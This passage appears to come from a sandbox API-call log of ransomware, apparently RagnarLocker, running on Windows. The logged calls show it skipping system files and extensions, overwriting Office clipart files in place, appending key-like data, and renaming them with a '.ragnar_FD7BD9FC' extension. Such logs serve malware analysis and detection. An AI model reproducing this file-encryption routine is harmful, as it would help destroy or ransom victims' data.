nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.127] GetProcessHeap () returned 0x580000 [0089.127] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.127] CloseHandle (hObject=0xf4) returned 1 [0089.128] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF" [0089.128] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF.ragnar_FD7BD9FC" [0089.128] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02386_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02386_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.128] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc84, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02388_.WMF", cAlternateFileName="")) returned 1 [0089.128] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.128] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02388_.WMF" | out: lpString1="NA02388_.WMF") returned="NA02388_.WMF" [0089.128] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF") returned=".WMF" [0089.128] lstrcmpiW (lpString1="NA02388_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.128] lstrcmpiW (lpString1="NA02388_.WMF", lpString2="autorun.inf") returned 1 [0089.128] lstrcmpiW (lpString1="NA02388_.WMF", lpString2="boot.ini") returned 1 [0089.129] lstrcmpiW (lpString1="NA02388_.WMF", lpString2="bootfont.bin") returned 1 [0089.129] lstrcmpiW (lpString1="NA02388_.WMF", lpString2="bootsect.bak") returned 1 [0089.129] lstrcmpiW (lpString1="NA02388_.WMF", lpString2="bootmgr") returned 1 [0089.129] lstrcmpiW (lpString1="NA02388_.WMF", lpString2="bootmgr.efi") returned 1 [0089.129] lstrcmpiW (lpString1="NA02388_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.129] lstrcmpiW (lpString1="NA02388_.WMF", lpString2="desktop.ini") returned 1 [0089.129] lstrcmpiW (lpString1="NA02388_.WMF", lpString2="iconcache.db") returned 1 [0089.129] lstrcmpiW (lpString1="NA02388_.WMF", lpString2="ntldr") returned -1 [0089.129] lstrcmpiW (lpString1="NA02388_.WMF", lpString2="ntuser.dat") returned -1 [0089.129] lstrcmpiW (lpString1="NA02388_.WMF", lpString2="ntuser.dat.log") returned -1 [0089.129] lstrcmpiW (lpString1="NA02388_.WMF", lpString2="ntuser.ini") returned -1 [0089.129] lstrcmpiW (lpString1="NA02388_.WMF", lpString2="thumbs.db") returned -1 [0089.129] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.129] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.129] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.129] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.129] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.129] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.129] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02388_.wmf")) returned 0x20 [0089.129] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02388_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.130] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3204) returned 1 [0089.130] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc7b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.130] GetProcessHeap () returned 0x580000 [0089.130] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.130] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.131] VirtualAlloc (lpAddress=0x0, dwSize=0xc84, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.132] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.132] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.132] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xc84, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xc84, lpOverlapped=0x0) returned 1 [0089.132] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.132] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc84, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.132] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xc84, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xc84, lpOverlapped=0x0) returned 1 [0089.132] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc84, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.132] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.132] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.132] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.132] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.132] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.133] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.133] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.133] GetProcessHeap () returned 0x580000 [0089.133] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.133] CloseHandle (hObject=0xf4) returned 1 [0089.133] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF" [0089.133] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF.ragnar_FD7BD9FC" [0089.133] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02388_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02388_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.133] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02389_.WMF", cAlternateFileName="")) returned 1 [0089.134] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.134] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02389_.WMF" | out: lpString1="NA02389_.WMF") returned="NA02389_.WMF" [0089.134] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF") returned=".WMF" [0089.134] lstrcmpiW (lpString1="NA02389_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.134] lstrcmpiW (lpString1="NA02389_.WMF", lpString2="autorun.inf") returned 1 [0089.134] lstrcmpiW (lpString1="NA02389_.WMF", lpString2="boot.ini") returned 1 [0089.134] lstrcmpiW (lpString1="NA02389_.WMF", lpString2="bootfont.bin") returned 1 [0089.134] lstrcmpiW (lpString1="NA02389_.WMF", lpString2="bootsect.bak") returned 1 [0089.134] lstrcmpiW (lpString1="NA02389_.WMF", lpString2="bootmgr") returned 1 [0089.134] lstrcmpiW (lpString1="NA02389_.WMF", lpString2="bootmgr.efi") returned 1 [0089.134] lstrcmpiW (lpString1="NA02389_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.134] lstrcmpiW (lpString1="NA02389_.WMF", lpString2="desktop.ini") returned 1 [0089.134] lstrcmpiW (lpString1="NA02389_.WMF", lpString2="iconcache.db") returned 1 [0089.134] lstrcmpiW (lpString1="NA02389_.WMF", lpString2="ntldr") returned -1 [0089.134] lstrcmpiW (lpString1="NA02389_.WMF", lpString2="ntuser.dat") returned -1 [0089.134] lstrcmpiW (lpString1="NA02389_.WMF", lpString2="ntuser.dat.log") returned -1 [0089.134] lstrcmpiW (lpString1="NA02389_.WMF", lpString2="ntuser.ini") returned -1 [0089.134] lstrcmpiW (lpString1="NA02389_.WMF", lpString2="thumbs.db") returned -1 [0089.134] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.134] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.134] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.134] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.134] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.134] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.134] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02389_.wmf")) returned 0x20 [0089.134] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02389_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.135] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2860) returned 1 [0089.135] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb23, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.135] GetProcessHeap () returned 0x580000 [0089.135] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.135] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.136] VirtualAlloc (lpAddress=0x0, dwSize=0xb2c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.136] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.137] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.137] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb2c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xb2c, lpOverlapped=0x0) returned 1 [0089.137] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.137] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb2c, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.137] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb2c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xb2c, lpOverlapped=0x0) returned 1 [0089.137] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb2c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.137] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.137] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb2c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.137] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.137] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.137] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.137] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.137] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.138] GetProcessHeap () returned 0x580000 [0089.138] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.138] CloseHandle (hObject=0xf4) returned 1 [0089.138] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF" [0089.138] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF.ragnar_FD7BD9FC" [0089.138] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02389_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02389_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.138] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe64, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02390_.WMF", cAlternateFileName="")) returned 1 [0089.138] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.138] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02390_.WMF" | out: lpString1="NA02390_.WMF") returned="NA02390_.WMF" [0089.138] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF") returned=".WMF" [0089.138] lstrcmpiW (lpString1="NA02390_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.139] lstrcmpiW (lpString1="NA02390_.WMF", lpString2="autorun.inf") returned 1 [0089.139] lstrcmpiW (lpString1="NA02390_.WMF", lpString2="boot.ini") returned 1 [0089.139] lstrcmpiW (lpString1="NA02390_.WMF", lpString2="bootfont.bin") returned 1 [0089.139] lstrcmpiW (lpString1="NA02390_.WMF", lpString2="bootsect.bak") returned 1 [0089.139] lstrcmpiW (lpString1="NA02390_.WMF", lpString2="bootmgr") returned 1 [0089.139] lstrcmpiW (lpString1="NA02390_.WMF", lpString2="bootmgr.efi") returned 1 [0089.139] lstrcmpiW (lpString1="NA02390_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.139] lstrcmpiW (lpString1="NA02390_.WMF", lpString2="desktop.ini") returned 1 [0089.139] lstrcmpiW (lpString1="NA02390_.WMF", lpString2="iconcache.db") returned 1 [0089.139] lstrcmpiW (lpString1="NA02390_.WMF", lpString2="ntldr") returned -1 [0089.139] lstrcmpiW (lpString1="NA02390_.WMF", lpString2="ntuser.dat") returned -1 [0089.139] lstrcmpiW (lpString1="NA02390_.WMF", lpString2="ntuser.dat.log") returned -1 [0089.139] lstrcmpiW (lpString1="NA02390_.WMF", lpString2="ntuser.ini") returned -1 [0089.139] lstrcmpiW (lpString1="NA02390_.WMF", lpString2="thumbs.db") returned -1 [0089.139] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.139] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.139] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.139] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.139] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.139] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.139] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.139] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02390_.wmf")) returned 0x20 [0089.139] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02390_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.140] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3684) returned 1 [0089.140] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe5b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.140] GetProcessHeap () returned 0x580000 [0089.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.140] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.141] VirtualAlloc (lpAddress=0x0, dwSize=0xe64, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.141] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.141] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.141] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe64, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe64, lpOverlapped=0x0) returned 1 [0089.142] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.142] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe64, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.142] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe64, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe64, lpOverlapped=0x0) returned 1 [0089.142] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe64, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.142] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.142] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.142] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.142] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.142] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.142] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.142] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.142] GetProcessHeap () returned 0x580000 [0089.143] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.143] CloseHandle (hObject=0xf4) returned 1 [0089.143] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF" [0089.143] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft 